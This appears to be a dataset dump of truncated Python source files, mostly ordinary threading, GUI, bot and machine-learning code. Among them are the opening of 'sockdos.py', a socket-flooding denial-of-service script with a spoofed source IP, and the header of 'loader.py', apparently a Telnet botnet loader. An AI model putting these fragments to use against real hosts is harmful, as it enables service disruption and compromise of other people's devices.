source
stringlengths
3
86
python
stringlengths
75
1.04M
test_threads.py
import threading import queue as stdlib_queue import time import pytest from .. import _core from .. import Event, CapacityLimiter, sleep from ..testing import wait_all_tasks_blocked from .._threads import * from .._core.tests.test_ki import ki_self from .._core.tests.tutil import slow async def test_do_in_trio_th...
launcher_exchange.py
''' A simple application that binds together a task and a GUI. Both task and GUI must be callables and accept two arguments in order to receive the communication queues. ''' import queue import select import threading from collections.abc import Iterable from quickgui.framework.queues import NewLineQueue from quick...
running.py
# -*- coding: utf-8 -*- """Code for maintaining the background process and for running user programs Commands get executed via shell, this way the command line in the shell becomes kind of title for the execution. """ import collections import logging import os.path import shlex import shutil import signal import...
gen.py
import re import subprocess import threading from io import BytesIO from math import ceil from os import listdir, path from sys import argv import pandas as pd from numpy import array from PIL import Image DATA_DIR = "data" def run(num, wid, ims): p = subprocess.Popen( "php gen.php {}"....
parallel.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Sep 12 00:23:36 2018 @author: yuluo """ import multiprocessing as mp import os import random import subprocess from deprecated.deprecated import ProcessABC class ParallelProcess(ProcessABC): def __init__(self, content): self.content = co...
main.py
# -*- coding: utf-8 -*- from telebot import * import datetime from time import sleep from dateutil import parser import json from threading import Thread class Hide: def __init__(self, text, title, id, **kwargs): self.text = text self.title = title self.id = id self.attribute = kwar...
controllers.py
"""maintains all functionality related running virtual machines, starting and tracking tests.""" import datetime import hashlib import json import os import shutil import sys from multiprocessing import Process from typing import Any import requests from flask import (Blueprint, abort, flash, g, jsonify, redirect, re...
test_statestore.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
quantize_c3d.py
#!/usr/bin/env python # -------------------------------------------------------- # Quantize Fast R-CNN based Network # Written by Chia-Chi Tsai # -------------------------------------------------------- """Quantize a Fast R-CNN network on an image database.""" import os os.environ['GLOG_minloglevel'] = '2' import _...
worker.py
''' brozzler/worker.py - BrozzlerWorker brozzles pages from the frontier, meaning it runs youtube-dl on them, browses them and runs behaviors if appropriate, scopes and adds outlinks to the frontier Copyright (C) 2014-2017 Internet Archive Licensed under the Apache License, Version 2.0 (the "License"); you may not us...
lwp.py
import bleak import asyncio import traceback import struct import time import threading import atexit import sys UART_UUID="00001623-1212-efde-1623-785feabcd123" CHAR_UUID="00001624-1212-efde-1623-785feabcd123" LEGO_DEVICES={0x0001:"Motor",0x0002:"System Train Motor",0x0005:"Button",0x0008:"Light",0x0014:"Voltage",0...
Docker.py
#!/usr/bin/python # # Copyright 2014 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
threadtest3.py
#!/usr/bin/python3 import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk,Pango,GObject import threading import datetime import time class MyWindow(Gtk.Window): def __init__(self): self.timer = None self.event = None self.clock = '00:00:00' Gtk.Window.__init__...
test.py
#!/usr/bin/env python # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "L...
video_ffpyplayer.py
''' FFmpeg based video abstraction ============================== To use, you need to install ffpyplyaer and have a compiled ffmpeg shared library. https://github.com/matham/ffpyplayer The docs there describe how to set this up. But briefly, first you need to compile ffmpeg using the shared flags while disabling...
ml_utility.py
import argparse import json import multiprocessing as mp import operator import time import sys import mergelife import ml_evolve as ev import numpy as np bestGenome = None evalCount = 0 startTime = 0 timeLastUpdate = 0 totalEvalCount = 0 runCount = 1 noImprovement = 0 waitingCount = 0 population = [] def subproces...
fianl_verison.py
##load model import cv2 import numpy as np import re import threading from multiprocessing import Queue #使用多核心的模組 Queue import logging import time from PIL import Image, ImageDraw from keras.preprocessing import image from keras.applications.vgg16 import preprocess_input import cfg from network impor...
spawn_api_requests.py
#!/usr/bin/env python import requests import numpy as np from multiprocessing import Process, Manager, Lock import traceback import signal import sys import argparse import json from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.packages.urllib3.exceptions import InsecurePlatformWarn...
common_distributed.py
# From PyTorch: # # Copyright (c) 2016- Facebook, Inc (Adam Paszke) # Copyright (c) 2014- Facebook, Inc (Soumith Chintala) # Copyright (c) 2011-2014 Idiap Research Institute (Ronan Collobert) # Copyright (c) 2012-2014 Deepmind Technologies (Koray Kavukcuoglu) # Copyright (c) 2011-2012 N...
callbacks_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
application_test.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
HACK220.py
#!/usr/bin/python # -*- coding: UTF-8 -*- from os import system, name import itertools import threading import time import sys import datetime from base64 import b64decode,b64encode from datetime import date expirydate = datetime.date(2021, 9, 24) #expirydate = datetime.date(2021, 8, 30) today=date.today() green="\0...
main.py
import logging import re import time from copy import deepcopy from enum import Enum from typing import List, Optional from datetime import datetime import threading import traceback import html import json import peewee import telegram.error from telegram import ( Update, InlineKeyboardMarkup, InlineKeybo...
sockdos.py
import socket, threading, sys, os try: target = sys.argv[1] port = int(sys.argv[2]) speed = int(sys.argv[3]) fake_ip = '104.74.112.38' except: print(""" Usage: python3 {} <target_ip> <port> <speed> """.format(os.path.basename(__file__))) exit() def dos(): sent = 0 while True: s = socket.socket(socket.AF_...
creating_threads.py
import time from threading import Thread def do_work(): print("Starting work") time.sleep(1) print("Finished work") for _ in range(5): t = Thread(target=do_work, args=()) t.start()
test_bz2.py
from test import support from test.support import bigmemtest, _4G import unittest from io import BytesIO, DEFAULT_BUFFER_SIZE import os import pickle import glob import tempfile import pathlib import random import shutil import subprocess import threading from test.support import unlink import _compression import sys ...
ssh.py
#The MIT License (MIT) #Copyright (c) 2014-2018 Marcos Nesster (mh4x0f) #Permission is hereby granted, free of charge, to any person obtaining a copy of #this software and associated documentation files (the "Software"), to deal in #the Software without restriction, including without limitation the rights to #use, copy...
utils.py
''' This contains the core test helper code used in Synapse. This gives the opportunity for third-party users of Synapse to test their code using some of the same helpers used to test Synapse. The core class, synapse.tests.utils.SynTest is a subclass of unittest.TestCase, with several wrapper functions to allow for e...
fastcov.py
#!/usr/bin/env python3 # SPDX-License-Identifier: MIT # Copyright 2018-present, Bryan Gillespie """ Author: Bryan Gillespie https://github.com/RPGillespie6/fastcov A massively parallel gcov wrapper for generating intermediate coverage formats fast The goal of fastcov is to generate code coverage inter...
lock.py
#!/usr/bin/env python # encoding: UTF-8 import threading import time data=0 lock=threading.Lock() def func(): global data print'%s acquire lock...'%threading.currentThread().getName() if lock.acquire(): print'%s get the lock.'%threading.currentThread().getName() data+=1 time.sleep...
minimizer.py
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
run_detector_batch.py
r""" Module to run an animal detection model on lots of images, writing the results to a file in the same format produced by our batch API: https://github.com/microsoft/CameraTraps/tree/master/api/batch_processing This enables the results to be used in our post-processing pipeline; see api/batch_processing/postproces...
__init__.py
# YOLOv5 🚀 by Ultralytics, GPL-3.0 license """ Logging utils """ import os import warnings from threading import Thread import pkg_resources as pkg import torch from torch.utils.tensorboard import SummaryWriter from utils.general import colorstr, emojis from utils.loggers.wandb.wandb_utils import WandbLogger from u...
performance_monitor.py
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: leeyoshinari import os import re import time import json import copy import queue import traceback import threading from concurrent.futures import ThreadPoolExecutor import requests import influxdb from common import handle_exception, get_ip from l...
plugin.py
import threading from binascii import hexlify, unhexlify from bitcoinnano.util import bfh, bh2u from bitcoinnano.bitcoin import (b58_address_to_hash160, xpub_from_pubkey, TYPE_ADDRESS, TYPE_SCRIPT, NetworkConstants) from bitcoinnano.i18n import _ from bitcoinnano.plugins import BasePlugi...
module_scan.py
#!/usr/bin/env python3 from detecta import * from ssh_connect import * import os import re import netifaces as ni import json from threading import Thread from netmiko import ConnectHandler re_n={} routers= {} known_routers = [] threads= [] routers_Code= {} routers_alreadyConfigured= [] amountOfRouters= 0 # Prototipo...
concurrentCalculation.py
import time import random from multiprocessing import Process # This does all of our prime factorization on a given number 'n' def calculatePrimeFactors(n): primfac = [] d = 2 while d*d <= n: while (n % d) == 0: primfac.append(d) # supposing you want multiple factors repeated n //= d d += 1 ...
savedata.py
""" Download and save officer data from NYPD Online Example usage: ./savedata """ import requests import os import json import six import threading import time tax_id_dict = {} LIST_URL = 'https://oip.nypdonline.org/api/reports/2/datasource/serverList?aggregate=&filter=&group=&page=' DETAIL_URL = 'https://oip....
reflector.py
# specifically use concurrent.futures for threadsafety # asyncio Futures cannot be used across threads import json import threading import time from concurrent.futures import Future from functools import partial from kubernetes import config from kubernetes import watch from traitlets import Any from traitlets import ...
onnxruntime_test_python.py
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. # -*- coding: UTF-8 -*- import gc import numpy as np import onnxruntime as onnxrt import os import platform import sys import threading import unittest from helper import get_name from onnxruntime.capi.onnxruntime_pybind11_s...
invocation.py
import os import subprocess import threading from mediacrush.config import _cfgi class Invocation: crashed = False exited = False stdout = None process = None args = [] def __init__(self, command): self.command = command def __call__(self, *args, **kw): self.args = self....
events.py
import signal from threading import Thread from types import FunctionType from typing import Any, Callable, Protocol, Union, List from .globals import PLATFORM from .utils import isinstancemethod __all__ = ["Event", "EventListener"] # # Types # Consumer = Callable[[Any], None] BoundConsumer = Callable[[object], No...
adit.py
Seal Team/adit.py / @Seal Tean Seal Team Update adit.py Latest commit 762af3e on 29 Oct 2018 History 1 contributor 4312 lines (4064 sloc) 245 KB # -*- coding: utf-8 -*- import LINEPY from LINEPY import * from akad.ttypes import * from multiprocessing import Pool, Process from time import sleep import pytz, datetime, p...
alicat_ros_proxy.py
from __future__ import print_function import rospy import threading import Queue from alicat_ros.srv import SetFlowRate from alicat_ros.msg import DeviceSetPoint class AlicatProxyException(Exception): pass class AlicatProxy(object): def __init__(self,namespace=None,use_thread=True): self.namesp...
dist_launcher.py
#!/usr/bin/python """ Launch a distributed job for BytePS """ import argparse import os, sys import signal import logging import subprocess from multiprocessing import Pool, Process from threading import Thread def preprocess_envs(args_envs): envs_map = {} for item in args_envs: i = item.find(":") ...
email_cron.py
import threading import time import sys import utils.logs as logs import time import os from utils.sendemail import send_email from utils.config import get_value from utils.db import Database_update try: from API.scanstatus import scan_status except Exception as e: SCRIPT_PATH= os.path.split(os.path.realpath(...
monitored_session_test.py
# pylint: disable=g-bad-file-header # Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENS...
serial_comm.py
#!/usr/bin/python3 ''' This file handle serial read and write ''' import serial import logging import threading from tkinter import messagebox class SerialComm(object): ''' Low level serial operations ''' log = logging.getLogger('piarm.serial.SerialComm') # Default timeout for serial reading(se ...
update_repository_manager.py
""" Determine if installed tool shed repositories have updates available in their respective tool sheds. """ import logging import threading import tool_shed.util.shed_util_common as suc from tool_shed.util import common_util from tool_shed.util import encoding_util log = logging.getLogger( __name__ ) class UpdateRe...
testing.py
import bz2 from collections import Counter from contextlib import contextmanager from datetime import datetime from functools import wraps import gzip import http.client import lzma import os import re from shutil import rmtree import string import tempfile import traceback from typing import Union, cast import warning...
test_server.py
import asyncio import json import os import time import urllib.parse import uuid from contextlib import ExitStack from http import HTTPStatus from multiprocessing import Process, Manager from multiprocessing.managers import DictProxy from pathlib import Path from typing import List, Text, Type, Generator, NoReturn, Dic...
netease_music_base.py
# -*- coding: utf-8 -*- # @Author: gunjianpan # @Date: 2018-10-12 20:00:17 # @Last Modified by: gunjianpan # @Last Modified time: 2018-10-21 00:16:26 # coding:utf-8 import codecs import requests from bs4 import BeautifulSoup import sqlite3 import threading import json import urllib.parse import time import random ...
test__internal.py
import errno import os import socket import subprocess import sys import tempfile import zipfile from subprocess import check_output from zipfile import ZipFile, is_zipfile import pytest from tf_yarn._internal import ( MonitoredThread, reserve_sock_addr, dump_fn, load_fn, xset_environ, zip_pat...
mp4AuotMp3.py
#!/usr/local/python3 #使用ffmpeg,多线程将mp4抽取为mp3 #this is change mp3 from mp4 with ffmpeg import os import glob import threading import time #fileList = os.listdir("./") #print(len(fileList)) #print(fileList) #for i in fileList: # if not os.path.isfile(i): # fileList.remove(i) #print(len(fileList)) #print(fileList) mp4L...
lock.py
from __future__ import print_function import threading import time import weakref from pysyncobj import SyncObj, replicated class LockImpl(SyncObj): def __init__(self, selfAddress, partnerAddrs, autoUnlockTime, conf): super(LockImpl, self).__init__(selfAddress, partnerAddrs, conf=conf) self.__se...
generators.py
""" This module contains classes for all the sequence data generators Classes MSequenceGenerator - The main base class for all generators. Multi task batch data generation for training deep neural networks on high-throughput sequencing data of various geonmics assays MBPNetSequ...
core.py
#!/usr/bin/env python3 # -*- coding=utf-8 -*- """ 核心控制器 1. 解析命令 2. 调用对应插件 3. 返回结果 """ import sys import queue import logging import click from threading import Thread from prettytable import PrettyTable from . import addons from .settings import opts from .passwd import Passwd class TPCore(object): ...
_debugger_case_multiprocessing.py
import time import multiprocessing def run(name): print("argument: ", name) # break 1 here if __name__ == '__main__': multiprocessing.Process(target=run, args=("argument to run method",)).start() print('TEST SUCEEDED!') # break 2 here
Streamer.py
import socket, time, threading, sys from protocols.RTP import RTP from .Camera import Camera from .Mic import Mic class Streamer: DEFAULT_CHUNK_SIZE = 4096 class MEDIA_TYPE: STRING = 0 def __init__(self, client_ip): # , client_port, file_path self.client_ip = client_ip s...
op_support.py
import multiprocessing import os import shlex import guild.system import guild.util def python_cmd_for_spec(spec, section): spec_parts = shlex.split(spec) script = _resolve_script_path(spec_parts[0], section.project.dir) spec_args = spec_parts[1:] flags = section.all_flags() flags.sort() retur...
Multithreaded_Portscanner.py
#!/bin/bash/python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) import socket import time import sys, signal import os from scapy.all import * from Queue import Queue from threading import Thread from subprocess import PIPE, Popen, call date = Popen('date +"%m-%d-%y"', shell = True, stdou...
logcat.py
from threading import Thread from adb import PrematureEOFError import logging from functools import wraps from logcat_parser import LogcatStreamParser, MessageParser def cb_wrap(cb): @wraps(cb) def wrap(*largs, **kwargs): try: return cb(*largs, **kwargs) except: logging....
eelinterface.py
import os import threading import traceback from typing import Dict, List import eel from src.sammie.py.ModuleConnector import ModuleConnector from src.sammie.py.SessionData import SessionData from src.py.__config import getModuleConnector from src.sammie.py.modules.FileLoader import FileLoader from src.sammie.py.mo...
client_models.py
import threading import socket import time from lib.protocol import Protocol from lib.console import Console class ClientHandler: def __init__(self, id_counter, conf, lock): self.clients = [] self.id_counter = id_counter self.conf = conf self._lock = lock self.console = Co...
loader.py
#!/usr/bin/python # Simple Telnet Loader Modified by Deeznuts? # You Can Find Fresh TELNET List To Load @ http://godz56.tk/telnet-list/ # Modified with more tweaks. import sys, re, os, socket, time from threading import Thread if len(sys.argv) < 2: sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]") ...
persistence.py
# -*- coding: UTF-8 -*- ################################################################################ # # Copyright (c) 2018 Baidu.com, Inc. All Rights Reserved # ################################################################################ """ **persistence** 模块用于配置信息、状态信息的持久化存储。 """ import os import...
train.py
# -*- coding: utf-8 -*- # MegEngine is Licensed under the Apache License, Version 2.0 (the "License") # # Copyright (c) 2014-2020 Megvii Inc. All rights reserved. # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT ARRANTI...
screens.py
import asyncio from weakref import ref from decimal import Decimal import re import threading import traceback, sys from typing import TYPE_CHECKING, List, Optional from kivy.app import App from kivy.cache import Cache from kivy.clock import Clock from kivy.compat import string_types from kivy.properties import (Objec...
client.py
import socket import threading import time # Create constants HEADER = 64 PORT = 5050 FORMAT = 'utf-8' DC_MSG = "!DISCONNECT" SERVER = "localhost" ADDR = (SERVER, PORT) # Set up client var and connect to the server client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(ADDR) erase = ...
Wallet.py
#Wallet import SocketUtils import Transactions import TxBlock import pickle import Signatures head_blocks = [None] wallets = [('localhost',5006)] miners = [('localhost',5005),('localhost',5007)] break_now = False verbose = True my_private,my_public = Signatures.generate_keys() tx_index = {} def StopA...
__init__.py
# YOLOv5 experiment logging utils import warnings from threading import Thread import torch from torch.utils.tensorboard import SummaryWriter from ...utils.general import colorstr, emojis from ...utils.loggers.wandb.wandb_utils import WandbLogger from ...utils.plots import plot_images, plot_results from ...utils.tor...
cpuinfo.py
#!/usr/bin/env python # -*- coding: UTF-8 -*- # source: https://github.com/workhorsy/py-cpuinfo/blob/v4.0.0/cpuinfo/cpuinfo.py # version: 4.0.0 # date: 2018-05-05 # Copyright (c) 2014-2018, Matthew Brennan Jones <matthew.brennan.jones@gmail.com> # Py-cpuinfo gets CPU info with pure Python 2 & 3 # It uses the MIT Lice...
kill_a_process.py
import multiprocessing import time """ importante possiveis valores de código de saída 1. ==0 : não houve erros 2. >0: houve erro 3. <0: não ouve erro, mas o processo foi matado, onde o valor significa -1 * ExitCode """ def foo(): print ('Starting function') time.sleep(0.1) print...
hmp_daemon.py
import time, requests, threading, os, atexit from UTILS.colorful import * import psutil def kill_process(p): try: # print('正在发送terminate命令到进程:', os.getpid(), '-->', p.pid) p.terminate() _, alive = psutil.wait_procs([p,], timeout=0.1) # 先等 100ms if len(alive): _, alive...
helpers.py
""" Helper functions file for OCS QE """ import base64 import random import datetime import hashlib import json import logging import os import re import statistics import tempfile import threading import time import inspect from concurrent.futures import ThreadPoolExecutor from itertools import cycle from subprocess i...
consistency_test.py
import queue import sys import threading import time import pytest import logging from collections import OrderedDict, namedtuple from copy import deepcopy from cassandra import ConsistencyLevel, consistency_value_to_name from cassandra.query import BatchStatement, BatchType, SimpleStatement from tools.assertions imp...
runtests.py
#!/usr/bin/env python from __future__ import print_function import atexit import os import sys import re import gc import heapq import locale import shutil import time import unittest import doctest import operator import subprocess import tempfile import traceback import warnings import zlib import glob from context...
walt_agent.py
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import optparse import threading import py_utils from devil.android import device_utils from systrace import trace_result from systrace import tracing_agen...
trt_yolo.py
"""trt_yolo.py This script demonstrates how to do real-time object detection with TensorRT optimized YOLO engine. """ import os import time import argparse import cv2 import pycuda.autoinit # This is needed for initializing CUDA driver import threading import json from utils.yolo_classes import get_cls_dict from ...
test_subprocess.py
import unittest from unittest import mock from test import support import subprocess import sys import platform import signal import io import os import errno import tempfile import time import selectors import sysconfig import select import shutil import gc import textwrap try: import ctypes except ImportError: ...
MainForm.py
import sys import time import curses from threading import Thread from spotui.src.util import debounce from spotui.src.Logging import logging from spotui.src.spotifyApi import SpotifyApi from spotui.src.TracksMenu import TracksMenu from spotui.src.LibraryMenu import LibraryMenu from spotui.src.PlaylistMenu import Playl...
framework.py
#!/usr/bin/env python3 from __future__ import print_function import gc import logging import sys import os import select import signal import unittest import tempfile import time import faulthandler import random import copy import psutil import platform from collections import deque from threading import Thread, Even...
pypypy.py
# -- coding: utf-8 -- import json import os import re import urllib.request import time # 쓰레드, 큐를 위한 라이브러리 추가 import multiprocessing as mp from threading import Thread from bs4 import BeautifulSoup from slackclient import SlackClient from flask import Flask, request, make_response, render_template app = Flask(__n...
util.py
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2011 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without...
rplidar_plot.py
from rplidar import RPLidar import matplotlib.pyplot as plt import math import time import numpy as np import threading def draw(): global is_plot while is_plot: plt.figure(1) plt.cla() plt.ylim(-9000,9000) plt.xlim(-9000,9000) plt.scatter(x,y,c='r',s=8) plt....
Worker.py
'''Values evaluated on separate processes via the multiprocessing module''' from geode import Prop,PropManager,listen,base64_encode,is_windows import multiprocessing.connection import multiprocessing import subprocess import traceback import select import errno import sys import os __all__ = ['Worker','worker_standal...
input.py
# -*- coding: utf-8 -*- # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "Li...
_agent.py
from typing import * import time import json import threading from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import Select import selenium.common.exceptions import win10toast from .references import * from . import utils class Agent: def __init__(self...
Active_Directory_Query_test.py
import demistomock as demisto from Active_Directory_Query import main, group_dn import socket import ssl from threading import Thread import time import os import pytest import json from IAMApiModule import * from unittest.mock import patch BASE_TEST_PARAMS = { 'server_ip': '127.0.0.1', 'secure_connection': 'N...
jukeboxController.py
__author__ = 'matt' import threading import spotify_wrapper from redisBroker import RedisBroker from time import sleep from collections import deque import requests from sys import stdin SERVER = 'pyply.j.layershift.co.uk' SKIP_THRESHOLD = 3 class JukeboxController: def __init__(self): self.playlist = N...
benchmark.py
import sys import requests import argparse from multiprocessing import Process from datetime import datetime from wsgiref.simple_server import make_server from cachecontrol import CacheControl HOST = 'localhost' PORT = 8050 URL = 'http://{0}:{1}/'.format(HOST, PORT) class Server(object): def __call__(self, env...
hokuyo_controller.py
import logging import logging.config import sys import threading import traceback import os import serial from amberdriver.common.message_handler import MessageHandler from amberdriver.hokuyo import hokuyo_pb2 from amberdriver.hokuyo.hokuyo import Hokuyo from amberdriver.null.null import NullController from amberdriv...
replay_server.py
import math import socket import time from multiprocessing import Process, shared_memory, Value, Lock, Queue import database import numpy as np import traceback import datetime def request_episode_id(params, cm, transition_space_available, space_lock, in_progress, progress_lock, batches, batch_...
asynchronous.py
import traceback from enum import Enum from multiprocessing import Process, Queue, Value from PyQt5.QtCore import pyqtSignal, QThread class SignalType(Enum): PROGRESS = 2, COMPLETED = 3, CANCELLED = 4, ERRORED = 5, class ProcessSignals: """ An object that the child process uses to send info...
docker_image_manager.py
from collections import namedtuple import threading import time import traceback import logging import docker from codalab.worker.fsm import DependencyStage from codalab.worker.state_committer import JsonStateCommitter from codalab.worker.worker_thread import ThreadDict logger = logging.getLogger(__name__) # Stores...
sync_replicas_optimizer_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
events.py
# Event managing. # # Allows catching events with functions instead of classes. # Tracks registered events and allows clean-up with one function call. # All event callbacks are also wrapped in an error.ErrorCatcher(). # # This file is part of thomasa88lib, a library of useful Fusion 360 # add-in/script functions. # # ...
rpn_test.py
import argparse import importlib import math import os import pickle as pkl from functools import reduce from queue import Queue from threading import Thread from core.detection_module import DetModule from core.detection_input import Loader from utils.load_model import load_checkpoint from utils.patch_config import p...
stowing_task_smach.py
#! /usr/bin/env python import roslib import rospy import smach import smach_ros import threading # from findObject2DState import FindObject2DState from detectObjectState import DetectObjectState from moveRobotState import MoveRobotState from moveRobotToNamedPose import MoveRobotToNamedPose from moveRobotToRelativePo...
VKFriendOnlineWatcher.py
from datetime import datetime import threading, time from vk_api.longpoll import VkLongPoll, VkEventType, VkLongpollMode import vk_api import signal import time import sys import os from modules import db_sqlite as db from modules import pushgateway_tools as pgt from modules import fs_tools import confloader class M...